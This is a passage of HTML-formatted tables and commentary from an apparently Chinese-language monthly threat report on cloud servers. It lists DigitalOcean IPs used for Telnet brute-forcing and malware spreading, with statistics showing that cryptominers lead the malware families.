<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP2323,
TCP23</span></p>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">35,631</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">178.62.210.60</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP2323, TCP23</span></p>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">25,563</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">206.189.10.108</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP23</span></p>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">8,919</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">147.182.160.81</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP2323, TCP23</span></p>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">6,910</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">138.68.105.229</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP2323,
TCP23</span></p>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">6,533</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">143.198.117.47</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="111" nowrap="" valign="top" style="width:83.0pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP2323, TCP23</span></p>
</td>
<td width="66" nowrap="" style="width:49.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">5,582</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><p>总体来看亚马逊AWS和阿里云的爆破IP数量最多，DigitalOcean的爆破会话数最多。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/image-1.png" class="kg-image" alt loading="lazy"><figcaption>云服务商的密码爆破攻击情况</figcaption></figure><p>在传播木马病毒等恶意软件方面，11月份共有3817个云服务器IP传播了110种恶意软件约147.3万次。与10月相比，源IP和会话数都明显增加。其中会话数量增加了67%，IP数量增加15%。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/image-2.png" class="kg-image" alt loading="lazy"><figcaption>各云服务商的云服务器被用于传播恶意软件情况</figcaption></figure><p>本月，恶意挖矿程序（CoinMiner）无论是从传播IP数还是会话数都位列第一位，相比10月，传播恶意挖矿程序的IP数量增加了约16%，会话数量增加了约40%，说明云服务器传播恶意挖矿软件问题已经非常严重。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/image-3.png" class="kg-image" alt loading="lazy"><figcaption>被云服务器攻击者传播最多的恶意软件家族</figcaption></figure><p>下表是传播恶意软件次数最多的10个IP。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:339.0pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:9.9pt">
<td width="124" nowrap="" valign="top" style="width:93.3pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt">IP</span></b><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">地址</span></b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;
mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="102" nowrap="" valign="top" style="width:76.55pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><span class="GramE"><b><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">云服务</span></b></span><b><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">商</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:
bold"><o:p></o:p></span></p>
</td>
<td width="95" nowrap="" valign="top" style="width:70.9pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">传播次数</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="top" style="width:98.25pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">恶意软件家族</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:9.9pt">
<td width="124" nowrap="" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">159.223.122.148<o:p></o:p></span></b></p>
</div>
</td>
<td width="102" nowrap="" style="width:76.55pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</div>
</td>
<td width="95" nowrap="" style="width:70.9pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">143,128</span></p>
</td>
<td width="131" nowrap="" style="width:98.25pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">1</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:9.9pt">
<td width="124" nowrap="" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">64.227.8.227</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="102" nowrap="" style="width:76.55pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center"><span class="SpellE"><span lang="EN-US">DigitalOcean</span></span></p>
</td>
<td width="95" nowrap="" style="width:70.9pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">55,152</span></p>
</td>
<td width="131" nowrap="" style="width:98.25pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
